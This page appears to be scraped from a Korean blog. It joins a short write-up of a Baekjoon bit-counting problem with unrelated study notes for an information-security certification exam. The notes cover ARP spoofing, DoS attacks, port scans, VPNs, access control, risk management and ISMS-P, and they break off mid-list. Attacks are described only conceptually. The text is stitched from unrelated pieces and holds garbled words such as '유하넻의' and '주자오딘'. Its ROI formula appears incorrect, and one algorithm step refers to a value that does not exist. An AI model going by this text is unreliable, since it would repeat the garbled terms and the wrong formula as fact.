문제

[09527] 1의 개수 세기

https://www.acmicpc.net/problem/9527

문제는 단순하다, 주어진 두 수 사이의 1의 개수를 세는 것이다.


분석

1의 개수를 세기 위하여, 0에서부터 15까지 2진수를 바꾸면 다음과 같다.

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 8
0 0 0 0 1 1 1 1 0 0 0 0 1 1 1 1 8
0 0 1 1 0 0 1 1 0 0 1 1 0 0 1 1 8
0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 8
0 1 1 2 1 2 2 3 1 2 2 3 2 3 3 4 32

각 정수를 2진수를 바꾸면, 일반적으로 1씩 늘어가는 탓에 1의 개수가 불규칙해 보인다.

하지만 그렇다고 각 수별로 1의 개수를 세면, 주어진 수의 크기에 의하여 시간초과가 될 것이다.

따라서 좀 더 효율적으로 문제에 접근할 필요가 있다.


시점을 바꿔 각 자리 수 별로 보면 새로운 규칙을 발견할 수 있다.

  • 제일 작은 비트는 [0] * 1, [1] * 1의 반복
  • 그 다음 비트는 [0] * 2, [1] * 2의 반복
  • 그 다음 비트는 [0] * 4, [1] * 4의 반복

즉 각 자리 값의 개수 만큼 0 과 1이 반복되는 것을 알 수 있다.


따라서 위와 같이 정리할 수 있다.


풀이

1의 누적합 개수를 세는 함수를 만드는데, 함수 내에서의 동작은 다음과 같다.

  1. 지표는 2를 시작으로 반복문을 시작하는데, 지표가 주어진 숫자보다 커지면 종료한다.
  2. 반복문 내에서는 주어진 수를 지표 값만큼 나눈 몫을 구하고, 몫에 지표의 절반 값을 곱해 더한다.
  3. 주어진 수를 지표 값으로 나머지 연산한 값에서 지표의 절반 값을 빼고 더한다.
  4. 하지만 4의 값이 음수일 경우 무시한다.
  5. 반복문 내에서는 지표에 2를 곱하며 다음 반복문을 시작한다.

따라서 최종 코드는 다음과 같다.

https://github.com/onsoim/BOJ/tree/master/Solved/01000-09999/09527

'0x30 Algorithm' 카테고리의 다른 글

[Java/Kotlin] ArrayList v.s. LinkedList  (0) 2022.01.26
Testcase 모음집  (0) 2021.11.20

ARP(Address Resolution Protocol)

14('19)

: 논리적인 IP 주소를 물리적인 MAC 주소로 변환해주는 프로토콜

ARP 요청 메시지

: 이더넷 프레임의 목적지 MAC 주소 필드에 브로드캐스트 주소인 FF:FF:FF:FF:FF:FF로 설정하여 로컬 네트워크의 모든 호스트에게 브로드캐스트로 요청

ARP 응답 메시지

: 호스트는 자신의 MAC 주소를 담은 응답 메시지를 만들어 요청한 호스트에게 유니캐스트로 응답


스위치 재밍(Switch Jamming)

2('13)

: 일반적으로 스위치 장비들은 MAC 주소 테이블이 가득 차게 되면 모든 네트워크 세그먼트 트래픽을 브로드캐스트하는 특징을 가지고 있다. 따라서 공격자는 위조된 MAC 주소를 지속해서 네트워크에 흘림으로써 스위칭 허버의 주소 테이블을 오버플로우시켜 허브처럼 동작하게 하여 해당 네트워크 세그먼트의 데이터를 스니핑할 수 있게 된다.

: 일반적인 스위치 장비가 보안 원리의 하나인 "Fail Close"를 따르지 않기 때문이다.

: MAC Flooding 공격이라고도 함

ARP Spoofing

13('19), 19('22)

: 공격자가 다른 호스트의 MAC 주소를 자신의 MAC 주소로 위조한 응답 메시지를 만들어 지속해서 희생자에게 전송하면 희생자의 캐시(Cache) 정보가 조작되어 희생자가 조작된 호스트로 패킷을 전송할 때 캐시에 저장된 조작된 MAC 주소인 공격자에게 전송됨


IP 단편화(Fragmentation)

9('17)

: 다양한 네트워크 환경에서 IP 패킷의 효율적인 전송을 가능하게 하는 패킷 분할 기법

frag id:size@offset[+]

인자 설명
id 단편화 전 원본 IP 데이터그램을 식별하기 위한 단편 ID
size ip 헤더를 제외한 단편의 크기로 바이트 단위로 표시함
offset 단편의 상대위치
+ 추가 단편이 있음. 없다면 마지막 단편임

공격

세션 하이재킹(Session Hijacking) 공격

19('22)

: 공격 대상 시스템에 접근할 수 있는 인증 정보(Ex, 아이디와 패스워드)를 모를 경우, 인증이 완료되어 정상적인 통신을 하는 사용자의 세션을 가로채 별도의 인증 없이 가로챈 세션으로 통신하는 공격 행위

  • TCP Session Hijacking 공격: TCP의 세션 관리 취약점을 이요한 공격으로 정상 사용자의 세션 관리 정보(출발지 IP/PORT, Sequence Number 등)를 위조하여 TCP 세션을 가로채는 공격
  • HTTP Session Hijacking 공격: HTTP의 세션 관리 취약점을 이용한 공격으로 정상 사용자의 HTTP 세션 IP를 탈취하여 정상 사용자로 위장하여 서버에 접근하는 공격

Teardrop 공격

3('14)

: 헤더가 조작된 일련의 IP 패킷 조각(IP Fragment)들을 전송함으로써 공격이 이뤄짐

: 공격자가 패킷을 단편화할 때 정상적으로 하지 않고 데이터 일부가 겹치거나 일부 데이터를 포함하지 않고 다음 패킷으로 단편화하여 전송하면 수신자는 패킷 재조합을 수행할 때 부하나 오류가 발생하게됨

Land 공격

15('20)

: 출발지와 목적지 IP 주소를 공격 대상과 동일하게 설정하여 전송함으로써 공격 대상 컴퓨터를 루프 상태로 빠트리는 형태의 서비스 거부 공격

Smurf 공격

2('13), 9('17), 15('20)

: 출발지 IP 주소를 희생자의 IP 주소로 위조한 ICMP Echo Request 패킷을 증폭 네트워크로 브로드캐스트하여 다수의 ICMP Echo Reply 패킷이 희생자에게 전달되어 서비스 거부 상태를 유발하는 형태의 공격

  • 중간 매개자로 쓰이는 것을 막기 위해서 다른 네트워크로부터 자신의 네트워크로 들어오는 Directed Broadcast 패킷을 막도록 라우터를 설정
  • 호스트는 IP Broadcast Address로 전송된 ICMP Echo Request 패킷에 대해 응답하지 않도록 시스템을 설정

TCP SYN Flooding 공격

3('14), 5('15), 15('20)

: 출발지 IP 주소를 위조한 다수의 TCP SYN 패킷을 희생자에게 전달하여 희생자의 TCP 연결 자원을 모두 소진시키는 형태의 서비스 거부 공격

Slow HTTP Header DoS(Slowloris) 공격

11('18), 18('21)

: HTTP 프로토콜의 취약점을 이용한 공격으로 다수의 HTTP 요청 시 요청 헤더의 끝을 의미하는 개행문자(CRLF: Carriage Return/Line Feed)를 전송하지 않고 불필요한 헤더 정보를 천천히 지속해서 전송하여 대상 웹서버와의 연결 상태를 장시간 지속시킴으로써 연결 자원을 모두 소진시키는 형태의 서비스 거부(DoS) 공격


포트 스캔

4('14), 6('15), 10('17)

서비스 열린 포트 응답 닫힌 포트 응답
TCP Open(Connect) Scan SYN+ACK RST+ACK
TCP Half Open(Connect) Scan SYN+ACK RST+ACK
TCP FIN/NULL/Xmas Scan 응답 없음 RST+ACK

Decoy Scan

: 스캔을 당하는 타겟 호스트에서 스캐너 주소를 식별하기 어렵게 하려고 실제 스캐너 주소 외에도 다양한 위조된 주소로 스캐닝하는 방식


VLAN(Virtual LAN)

10('17)

  • 보안 강화: 네트워크 관리자는 서로 다른 논리적인 그룹에 대하여 서로 다른 보안 정책을 적용할 수 있음
  • 성능 향상: 브로드캐스트 도메인의 크기/범위를 줄여 네트워크 성능향상을 기대할 수 있음

탐지 우회 기법

DGA(Domain Generation Algorithm) 기법

18('21)

: 봇넷을 구성하는 악성 봇(Bot) 또는 랜섬웨어 등의 악성코드(멀웨어)에 감염된 PC 또는 서버가 도메인명을 기반으로 C&C서버(C2서버)에 접속할 때 방화벽 등의 보안장비에 의해 도메인명이 탐지 및 차단되는 것을 우회하기 위한 기법 중 하나

Fast Flux 기법

: 하나의 C&C서버 도메인명에 미리 확보한 다수의 C&C 서버 IP 주소를 할당하는 기법

: IP 주소를 여러 개 할당하고 캐시 DNS 서버에 도메인 정보가 저장되는 시간인 TTL값을 매우 작게 설정하여 IP 주소가 질의 시마다 빠르게 변경되도록 함

Domain Shadowing 기법

: 알려진 합법적인 도메인의 서브(하위) 도메인을 몰래 ㄷㅇ록하여 C&C서버의 도메인으로 사용하는 기법

: 적법한 절차로 도메인을 소유하고 있는 도메인 관리자의 개인정보 등을 탈취하여 도메인 소유자 몰래 많은 서브(하위) 도메인을 동록시키는 방식


멤캐시드(Memcached) 서버

13('19)

: 오픈소스 메모리 캐싱 시스템(메모리를 사용해 캐시 서비스를 제공해주는 데몬)으로 11211/tcp와 11211/udp 포트를 기본 포트로 사용

: 스토리지나 DB와 같은 대규모 데이터 저장소의 부하를 줄이기 위한 목적

: 2018년 2월 소스코드 공유 사이트인 GitHub을 대상으로 멤캐시드 서버를 이용한 대규모(1Tbps 이상) 디도스(DDoS) 공격이 발생


무선 데이터 암호화

WEP(Wired Equivalent Privacy)

8('16)

: 40비트의 WEP 공유 비밀키와 임의로 선택되는 24비트의 IV(Initial Vector)로 조합된 총 64비트의 키를 이용한 RC4 스트림 암호화 방식으로 보호

: 하지만 선택된 공유 비밀키의 KEY ID와 IV값을 평문으로 상대방에게 알려줘야 하므로 WEP 키가 추출될 수 있는 취약점이 존재

WPA2

18('21)

: IEEE 802.11i 무선 표준은 무선 장비와 단말기 간의 가상 인증기능을 제공하는 EAP(Extensible Authentication Protocol)의 도입 등 검증된 보안 기술들이 포함되어 보다 강화된 인증과 데이터 암호화 기능을 제공함

: IEEE 802.11i 규격의 완성에 따라 이를 완전히 수용하는 표준(규격)으로 AES-CCMP를 통한 암호화 기능 향상과 EAP 사용자 인증 강화 등을 포함


16('20)

암호 기술 인증 암호화
WEP PSK RC4(64bit/128bit)
WPA(또는 WPA1) 개인 모드: PSK
기업 모드: IEEE 802.1x/EAP
RC4-TKIP
WPA2 개인 모드: PSK
기업 모드: IEEE 802.1x/EAP
AES-CCMP

VPN(Virtual Private Network)

프로토콜

15('20)

L2F(Layer 2 Forward)

: 시스코(CISCO)사에서 개발한 2계층(Data Link Layer)에서 동작하는 터널링 프로토콜로 하나의 터널에 여러 개의 연결을 지원하여 다자간 통신이 가능

PPTP(Point to Point Tunnel Protocol)

: 마이크로소프트(MS)사에서 개발한 2계층(Data Link Layer)에서 동작하는 터널링 프로토콜로 하나의 터널에 하나의 연결만을 지원

L2TP(Layer 2 Tunneling Protocol)

: 마이크로소프트(MS)사와 시스코(CISCO)사에서 개발한 프로토콜로, L2F에 기반을 두고 PPTP와의 호환성을 고려하여 만들어진 터널링 프로토콜

IPsec

20('22)

: 3계층(Network Layer)에서 동작하는 표준화된(IETF 표준) 터널링 프로토콜로 IP 패킷에 대한 다양한 보안 서비스를 제공

  • 기밀성
  • 비연결형 무결성
  • 데이터 원천 인증(송신처 인증)
  • 재현(재전송) 공격 방지
  • 접근제어
  • 제한적 트래픽 흐름의 기밀성

11('18), 12('18), 14('19), 21('22)

AH(Authentication Header)

: 송신처 인증, 무결성을 보장해주고 프로토콜 식별번호 51번을 사용

ESP(Encapsulating Security Payload)

: 송신처 인증, 무결성, 암호화를 통한 기밀성을 보장해주고 프로토콜 식별번호로 50번을 사용

SSL/TLS

레코드 프로토콜(Record Protocol)

9('17)

: 메시지를 암호화하여 통신을 수행하는 프로토콜

  1. 단편화: 애플리케이션 데이터(HTTP 등)를 일정 크기로 단편화
  2. 압축MAC(Message Authentication Code) 생성: 단편화된 데이터를 압축 알고리즘으로 압축한 후 MAC값을 계산하여 추가
  3. 암호화: 압축된 데이터와 MAC값을 암호 알고리즘으로 암호화한 후 Record 헤더를 추가하여 전송

DTLS(Datagram Transport Layer Security)

16('20)

: 전송 계층(Transport Layer)에서 UDP 기반(데이터그램 기반) 클라이언트/서버 응용 프로그램 간에 보안 서비스를 제공하는 틍신 프로토콜로 도청, 변조 또는 메시지 위조를 방지하기 위해 설계

접근통제 ★

3('14), 14('19), 20('22)

임의적 접근통제(DAC)

: 주체의 신원과 주체가 무엇을 할 수 있는지를 설명하는 접근규치(Access Rule)에 근거하여 객체에 대한 접근을 제어하는 방식으로 객체의 소유자가 자신의 의지로 해당 객체에 대한 접근규칙을 결정

강제적 접근통제(MAC)

: 객체의 보안 수준(Security Level)과 주체의 보안 취급인가(Security Clearance)를 비교하여 접근을 통제하는 방식으로 관리자만이 객체의 보안 수준을 설정하고 주체에게 보안 취급인가를 허용

BLP(Bell-LaPadula) 모델

14('19)

: 주체와 객체의 보안 수준(Security Level)을 비교하여 접근통제를 수행하는 모델로 최초의 수학적 접근통제 모델(수학적 검증을 거친 모델)

: 기밀성(Confidentiality)을 보장하기 위해 정보의 흐름을 통제하는 모델

  • No Read Up 속성(SS-Property): 주체(사용자)보다 보안 수준(Security Level)이 높은 객체(Ex, 문서 등)의 정보를 읽을 수 없는 속성
  • No Write Down 속성(*-Property): 주체(사용자)보다 보안 수준(Security Level)이 낮은 객체(Ex, 문서 등)에 정보를 쓸 수 없는 속성

Biba 모델

14('19)

: 주체와 객체의 무결성 수준(Integrity Level)을 비교하여 접근통제를 수행하는 모델

: 무결성(Integrity)을 보장하기 위해 정보의 흐름을 통제하는 모델(무결성의 3가지 목표 중 '비안가자에 의한 정보의 위변조 방지'만 해결)

  • No Read Donw 속성(SI Axiom): 주체(사용자)보다 무결성 수준(Integrity Level)이 낮은 객체(Ex, 문서 등)의 정보를 읽을 수 없는 속성
  • No Write Up 속성(*-Property): 주체(사용자)보다 무결성 수준(Integrity Level)이 높은 객체(Ex, 문서 등)에 정보를 쓸 수 없는 속성

역할 기반 접근통제(RBAC)

: 주체가 가지는 역할(Role)과 주어진 역할이 객체에 대한 어떤 접근이 허용되는 규칙에 근거하여 접근을 통제


Diffie-Hellman 키 교환 방식

3('15)

1) 사용자 A와 사용자 B가 사용할 소수 $p$ 와 원시근 $q$ 를 결정한다.
2) 사용자 A는 $a$ 를 선택하고, $q^a \mod p$ 를 계산하여 공개하고 사용자 B는 $b$ 를 선택하고, $q^b \mod p$ 를 계산하여 공개한다.
3) 사용자 A는 사용자 B의 공개키 $q^b \mod p$ 와 자신의 개인키 $a$ 를 이용하여 $q^{ba} \mod p$ 를 계산하고 사용자 B는 사용자 A의 공개키 $q^a \mod p$ 와 자신의 개인키 $b$ 를 이용하여 $q^{ab} \mod p$ 를 계산하여 공통 비밀키로 사용한다.
4) Diffie-Hellman 키 교환 기법은 유하넻의 이산대수 문제의 어려움에 근거하기 때문에 p로부터 $a, b$ 를 얻을 수 없으므로, 개인키를 구할 수 없으므로 안전하다.


정보보호의 목표

2('13), 8('16)

  1. 기밀성(Confidentiality): 권한 있는 자(인가된 주체, 정당한 자)만이 정보자산(객체)에 접근하여 그 내용을 알 수 있도로 보장하는 것
  2. 무결성(Integrity): 권한 있는 자(인가된 주체, 정당한 자)만이 정보자산(객체)에 접근하여 그 내용을 생성하거나 변경하거나 삭제할 수 있도록 보장하는 것
  3. 가용성(Availability): 권한 있는 자(인가된 주체, 정당한 자)의 정보자산 접근 필요시 언제든지(즉시, 지체없이) 접근할 수 있도록 보장하는 것
  4. 인증성(Authenticity) 또는 인증(Authentication): 인증성(인증)은 '사용자 인증'과 '메시지 인증'으로 구분해볼 수 있음
    • 사용자 인증: 정보자산에 접근하는 자(주체)의 시누언(ID)이 주자오딘 실체와 일치함을 보장하는 것(즉, 사용자의 신원이 올바르다는 것을 보장하는 것)
    • 메시지 인증: 수신한 메시지가 올바른 상대방이 보낸 메시지임을 보장하는 것
  5. 책임성(Accountability): 정보자산에 접근하는 자(주체)가 접근 결과에 대해 책임지도록 보장하는 것
    • 책임 추적성: 주체를 식별해서 그 행위를 추적할 수 있도록 보장하는 것으로 이를 위해서는 주체가 유일하게 식별되어야 하고 주체의 행위를 감시하고 로깅하는 것이 필요
    • 부인방지(부인봉쇄): 주체가 한 행위를 나중에 부인하지 못하도록 보장하는 것

블록체인(Block Chain)

20('22)

: 분산 데이터 처리 기술로 네트워크에 참여한 모든 사용자가 거래 내역 등의 데이터를 분산하여 저장하는 기술

: 각 블록은 개인과 개인 간의(P2P) 거래 내역 장부

: '공공 거래 장부' 또는 '분산 거래 장부(원장)'라고도 함

: 탈중앙화된 시스템

비트코인(Bitcoin)

: 2009년 '사토시 나카모토(Satoshi Nakamoto)'라는 가명의 개발자에 의해 개발된 가상화폐로 거래 데이터를 중앙 집중적인 방법이 아닌 분산 기록 및 저장하는 데이터베이스로 블록체인을 이용한다. 해시 연산을 수행하여 가상화폐 블록을 생성하는 대가로 비트코인을 획득하는 행위를 마이닝이라 한다.

SECTION 06 정보보안관리/법규

정보보호정책 ★

: 조직의 내/외부 환경과 업무 성격에 맞는 효과적인 정보보호 활동을 위하여 기본적으로 무엇이 수행되어야 하는가를 일목요연하게 기술한 지침과 규약으로, 정보보호 목적과 활동에 관한 사항을 정의하는 최상위 문서

  • 조직의 정보보호에 대한 최고경영자 등 경영진의 의지 및 방향
  • 조직의 정보보호에 대한 역할과 책임대상과 범위
  • 조직이 수행하는 관리적/기술적/물리적 정보보호 활동의 근거

공표 과정

  1. 이해관계자와 정책 내용을 충분히 협의/검토한다.
  2. 최고경영자 또는 최고경영자로부터 권한을 위임받은 자의 승인을 받아야 한다.
  3. 최신본을 임직원과 관련자에게 이해하기 쉬운 형태(Ex. 전자게시판, 책자 등)로 전달한다.

 

위험 관리(Risk Management)

: 조직의 자산에 대한 위험을 감수할 수 있는 수준으로 유지하기 위하여 자산에 대한 위험을 분석하고 이러한 위험으로부터 자산을 보호하기 위한 비용 대비 효과적인 보호 대책을 마련하는 일련의 과정

 

위험 구성요소 ★

[ ISO/IEC 위험 관리 모델 ]

https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbnj49G%2FbtqQlKVfew1%2FY94smpkgkrrBqMpfCmBNAk%2Fimg.png

구성요소 설명
자산(Asset) 조직이 보호해야 할 유/무형의 대상
위협(Threat) 자산에 손실을 유발할 수 있는 잠재적인 원인(source) 또는 행위(agent)
취약성(취약점, Vulnerability) 위협의 이용 대상이 되는 자산의 잠재적 속성(기술적, 관리적, 물리적 약점)으로 때로는 정보보호대책의 미비로 정의되기도 함
보호대책(정보보호대책, Safeguard 또는
Countermeasure)
조직의 자산을 위험으로부터 보호하기 위한 기술적, 관리적, 물리적 대책

* 보호대책은 빠지기도 함

 

ISO/IEC 27005(정보보안 위험 관리)

https://www.researchgate.net/profile/Stefan-Rass/publication/320821063/figure/fig2/AS:667765832691732@1536219189789/ISO-IEC-27005-Risk-Management-Process-16.png

  • 환경 설정(Context Establishment)
  • 위험 평가(Risk Assessment)
  • 위험 처리(Risk Treatment)
  • 위험 수용(Risk Acceptance)
  • 위험 소통과 협의(Risk Communication and Consultation)
  • 위험 모니터링 및 검토(Risk Monitoring and Review)

 

위험 분석
접근방법 ★ 설명
기준선(베이스라인) 접근법 모든 자산(시스템)에 대하여 체크리스트 형식의 표준화된 보호 대책을 이용하여 보호의 기본 수준(baseline)을 정하고 위험 분석을 수행하는 접근법
비정형 접근법 정형화된(구조적인) 위험 분석 방법론을 사용하지 않고 경험자(내/외부 전문가)의 지식을 기반으로 위험 분석을 수행하는 접근법
상세 위험 분석 정형화되고 구조화된 위험 분석 방법론에 따라 자산 분석, 위협 분석, 취약성 분석 등의 각 단계를 통해 조직의 중요한 위험들을 모두 상세하게 분석하는 접근법
복합 접근법 고위험(high risk) 영역을 상세 위험 분석을 수행하고 그 외의 영역은 기준선 접근법을 사용하는 접근법

* 장단점 비교 문제도 가끔 출제됨

 

'상세 위험 분석' 절차
  • 자산 분석
    • 자산 식별: 자산 목록 작성
    • 자산 가치 평가: 중요도를 산정하고 가치를 평가
    • 자산 그룹핑: 정보자산 분석 시 유형, 중요도, 사용 용도, 위험 등이 유사한 자산들을 하나의 그룹으로 만들어 분류하는 것
      • 장점: 유형, 중요도 등이 유사한 정보자산을 그룹핑하여 동일한 위험 분석 및 평가 작업을 반복하지 않음으로써 시간과 비용을 최소화할 수 있다.
  • 위협 평가
  • 취약성(취약점) 평가
  • 기존 보안대책(보호대책) 평가
  • 위험 평가

 

정보자산의 중요도 파악을 위한 보안 요구 특성

  • 기밀성(Confidentiality): 정보 유출
  • 무결성(Integrity): 정보 변조
  • 가용성(Availability): 정보 상실

 

정성적 위험 분석(평가) ★ 설명
델파이법 각 분야의 전문적인 지식을 갖춘 전문가 집단을 구성하고 토론(또는 설문조사)을 통해 위험 분석 및 평가를 수행하는 방법
시나리오법 어떤 사건도 기대대로 발생하지 않는다는 사실에 근거하여 일정 조건에서 위협에 대한 발생 가능한 결과들을 추정하는 방법
순위결정법 비교 우위 순위결정표에 의해 위험 항목들의 서술적 순위를 결정하는 방법으로 각각의 위협을 상호 비교하여 최종 위협 요인의 우선순위를 도출하는 방법
퍼지행렬법 자산, 위험, 보안체계 등 위험 분석 요소들을 정성적인 언어로 표현된 값을 사용하여 기대 손실을 평가하는 방법

 

정량적 위험 분석 ★
변수 설명 계산식
자산 가치(AV: Asset Value) 자산의 가치를 금액으로 표현  
노출 계수(EF: Exposure Factor) 특정 자산에 특정 위협이 발생했을 때 자산에 미치는 손실 비율(%)  
단일 예상 손실액
(SLE: Single Loss Expectancy)
특정 자산에 특정 위협이 1회 발생했을 때 예상 손실액 AV x EF
연간 발생율
(ARO: Annual Rate of Occurance)
특정 자산에 특정 휘협의 연간 발생률(%)  
연간 예상 손실액
(ALE: Annual Loss Expectany)
특정 자산에 특정 휘협이 발생했을 때 연간 예상 손실액 SLE x ARO
투자 대비 수익률
(ROI: Return On Investment)
  $$ {대책 적용 후 ALE - X \over X} * 100$$
보호 대책 효과 대책 적용 전 ALE - 대책 적용 후 ALE - 연간 대책 비용  

 

위험처리

: '수용 가능한 목표 위험수준(DoA)'을 초과하는 위험을 수용 가능한 수준으로 감소시키기 위한 전략

DoA(Degree of Assurance): 조직의 위험 분석 및 평가 과정에서 식별된 모든 위험에 대응하거나 완전히 제거하는 것은 불가능하므로 어느 정도의 위험까지 수용 가능한지 조직의 경영자(책임자)가 결정하는 수준

위험처리 전략 ★ 설명
위험 수용(Risk Acceptance) 현재의 위험을 받아들이고 잠재적 손실 비용을 감수하는 전략
위험 감소(Risk Reduction) 위험을 감소시킬 수 있는 대책을 채택하여 구현하는 전략
위험 전가(Risk Transfer) 위험의 잠재적 손실 비용을 보험이나 외주 등 제3자에게 이전시키는 전략
위험 회피(Risk Avoidance) 위험이 존재하는 프로세스나 사업을 수행하지 않고 포기하는 전략

 

정보보호 대책

: 평가된 위험을 허용 가능한 수준으로 줄이기 위한 안전대책, 통제 혹은 위협을 감소시키기 위한 종보보호 조치

  • 예방 통제(Preventive Control): 사전에 위협과 취약점에 대처하는 통제로 발생 가능한 잠재적인 문제들을 식별하여 사전에 대처하는 능동적인 개념의 통제
    • 물리적 접근통제: 비인가자가 물리적 시설이나 설비에 접근할 수 없도록 하는 각종 통제
    • 논리적 접근통제: 비인가자가 정보통신망을 통해 자산에 접근할 수 없도록 하는 각종 통제
    • 예) 보안정책, 직무 분리, 직무 순환, 암호화, 백신, 방화벽, 잠금장치 등
  • 탐지 통제(Detective Control): 위협을 탐지하는 통로로 예방 통제를 우회하여 발생하는 문제점을 찾아내기 위한 통제
  • 교정 통제(Corrective Control): 탐지된 위협이나 취약점에 대처하거나 위협을 줄이거나 취약점을 감소시키는 통제

 

위험 관리 용어

* 업무 연속성 계획(BCP: Business Continuity Planning)

: 모든 자원에 대한 장애 및 재해로부터 조직의 생존을 보장하기 위한 예방 및 복구 활동을 포함하는 광범위한 계획(절차)

: 인재, 천재지변, 테러 등에 의한 각종 쟁애 및 재해로부터 업무중단이 발생할 경우 최대한 빠른 시간 내에 업무를 복구함으로써 업무 연속성을 유지하기 위한 계획(절차)

단계 설명
프로젝트 범위 설정 및 기획 프로젝트 계획 수립(범위, 조직, 시간, 인원 등을 정의)
업무 영향 분석
(BIA: Business Impact Analysis)
개별 업무 중단 시 손실 영향도 파악(복구 우선순위, 복구 목표 시간 및 수준)
복구전략개발 복구 자원 및 복구 방안들에 대한 평가
복구계획수립 실제 복구 계획 수립 및 명시적 문서화
프로젝트 및 유지보수 관리 절차 수립 테스트 및 유지보수 관리 절차 수립

 

* 재해복구(DR: Disaster Recovery)

: 재해로 인하여 중단된 정보기술(IT) 서비스를 재개하는 것

** 재해복구계획(DRP: Disaster Recovery Planning)

: 정보기술(IT) 서비스 기반에 대하여 재해가 발생할 경우 빠른 복구를 통해 업무에 대한 영향을 최소화하기 위한 제반 계획(절차)

** 재해복구시스템(DRS: Disaster Recovery System)

: 재해복구계획의 원활한 수행을 지원하기 위하여 평상시에 확보하여 두는 인적/물적 자원 및 이들에 대한 지속적인 관리체계가 통합된 것

https://advisera.com/wp-content/uploads//sites/5/2015/06/rto-vs-rpo-what-is-the-difference-no-white-spaces.png

** 복구 목표 시점(RPO: Recovery Point Object)

: 재해로 인하여 중단된 서비스를 복구하였을 때, 유실을 감내할 수 있는 데이터의 손실 허용 지점

** 복구 목표 시간(RTO: Recovery Time Object)

: 재해로 인하여 서비스가 중단되었을 때, 서비스를 복구하는 데까지 걸리는 최대 허용 시간

 

* 재해복구 사이트
복구 수준 설명 RTO
미러
사이트
(mirror site)
주센터와 동일한 수준의 시스템(IT 자원)을 원격지 사이트(재해복구센터)에 구축한 후 활성 상태(active)로 실시간 동시 서비스를 제공하는 방식으로 주센터 재해 발생 시 재해복구센터를 통해 즉시 서비스를 제공
[장점] 데이터 유실 없이 데이터를 복구할 수 있지만,
[단점] 구축 및 유지비용이 많이 들고 평상시 재해복구센터 운영 방안이 필요함
즉시

사이트
(hot site)
주센터와 동일한 수준의 시스템(IT 자원)을 원격지 사이트(재해복구센터)에 구축한 후 대기 상태(standby)로 실시간 미러링을 통해 최신 데이터를 유지하는 방식으로 주센터 재해 발생 시 활성 상태(active)로 전환하여 서비스를 제공
[장점] 미러 사이트에 비해 비용이 저렴하고 데이터를 최신 상태로 유지할 수 있지만,
[단점] 시스템(IT 자원) 활성화를 위한 복구 절차가 필요하고 복구작업에 시간이 소요됨
수시간

사이트
(warm site)
주센터의 중요도가 높은 일부 시스템(IT 자원)만 원격지 사이트(재해복구센터)에 구축하여 주센터 재해 발생 시 중요 업무에 대해서만 우선 복구하는 방식으로 모든 업무를 복구하기 위해서는 추가 자원 확보가 필요함
[장점] 미러 사이트 및 핫 사이트에 비해 비용이 저렴하지만,
[단점] 데이터 백업 주기가 길어(수시간~1일) 재해 시 데이터의 일부 손실이 발생할 수 있음
수일~수주
콜드
사이트
(cold site)
데이터만 원격지에 보관하고 주센터 재해 발생 시 먼저 자원을 확보한 후 원격지에 보관한 데이터를 기반으로 복구함
[장점] 구축 및 유지비용이 가장 저렴하지만,
[단점] 재해 시 시스템(IT 자원)을 확보하기 위한 대책이 필요하고 복구에 많은 시간이 필요함
수주~수개월

 

침해사고 대응 절차

  1. 사고 전 준비
  2. 사고 탐지
  3. 초기 대응
  4. 대응 전략 체계화
  5. 사고 조사
  6. 보고서 작성
  7. 해결

 

디지털 포렌식

: 침해사고(또는 사이버 범죄) 발생 시 법적으로 유효한 증거를 디지털기기로부터 수집하고, 분석하고, 보관하고, 제출하는 등의 일련의 과정을 다루는 과학 분야

기본 원칙

  • 정당성의 원칙
    • 디지털 증거를 수집하고 분석하는 전 과정이 적법한 절차에 의해 이루어져야 한다.
  • 재현성의 원칙
    • 동일한 조건에서 디지털 포렌식을 재현할 경우 항상 동일한 결과가 나와야 한다.
  • 무결성의 원칙
    • 수집된 디지털 증거가 분석 또는 보관하는 과정에서 위/변조되지 않아야 한다.
  • 신속성의 원칙
    • 디지털 데이터는 내/외부 영향에 의해 쉽게 사라질 수 있으므로 디지털 포렌식은 가능하면 신속하게 진행되어야 한다.
  • 연계 보관성(CoC: Chain of Custody) 원칙
    • 디지털 증거의 '수집(획득) -> 이송(이동) -> 보관 -> 분석 -> 법정 제출'까지의 일련의 단계에서 증거물 관리 주체들 간의 연속적인 승계 내역을 기록함으로써 디지털 증거가 최초 수집된 상태 그대로 어떠한 변경 없이 관리되었음을 입증해야 한다.

 

CC 인증

CC(Common Criteria: 공통 평가 기준)

: IT 제품이나 특정 사이트의 정보시스템에 대한 정보보안 인증을 위한 국제 표준(ISO/IEC 15408)으로 기존 미국의 대표적인 보안 인증인 TCSEC(Trusted Computer System Evaluation Criteria, Orange Book이라고도 함)과 유럽의 대표적인 보안 인증인 ITSEC(Information Technology Security Evaluation Criteria) 등이 통합되어 1999년 국제 표준으로 승인된 현재 가장 대표적인 보안 인증

주요 요소

  • 평가대상(TOE: Target of Evaluation): 정보시스템(IT 제품)의 보안성 평가범위를 정의한 것
  • 보호 프로파일(PP: Protection Profile): 평가대상(TOE) 유형별 보안 기능 요구사항을 기술한 문서
  • 보안목표 명세서(ST: Security Target): 평가대상(TOE)의 세부 보안 기능 요구사항과 구현 내용을 기술한 문서로 평가의 근거로 사용
  • 평가보증등급(EAL: Evalutaion Assurance Level): 평가대상(TOE)의 보증 수준을 판단하는 척도를 정의한 등급으로 해당 등급을 구성하는 보증 컴포넌트 패키지로 이뤄져 있음

 

정보보호관리체계(ISMS)

: 정보 통신 서비스 제공자가 정보통신망의 안정성 및 신뢰성을 확보하여 정보자산의 기밀성, 무결성, 가용성을 실현하기 위한 관리적/기술적 수단과 절차 및 과정을 체계적으로 관리, 운용하는 체계

  • Plan(계획): 정보보호관리체계를 수립하는 단계
  • Do(실행): 정보보호관리체계를 운영하는 단계
  • Check(점검): 운영되고 있는 체계를 점검하는 단계
  • Act(개선): 정보보호체계를 향상하는 단계

 

ISMS-P(정보보호 및 개인정보보호 관리체계 인증)

https://isms.kisa.or.kr/main/images/sub/ismspCeauOrgn.png

인증기준
  • 관리체계 수립 및 운영(16개)
    • 관리체계 기반 마련(6개)
    • 위험관리(4개)
      • 정보자산 식별
      • 현황 및 흐름분석
      • 위험 평가
      • 보호대책 선정
    • 관리체계 운영(3개)
    • 관리체계 점검 및 개선(3개)
  • 보호대책 요구사항(64개)
    • 정책, 조직, 자신 관리(3개)
    • 인적 보안(6개)
    • 외부자 보안(4개)
    • 물리 보안(7개)
      • 보호구역 지정
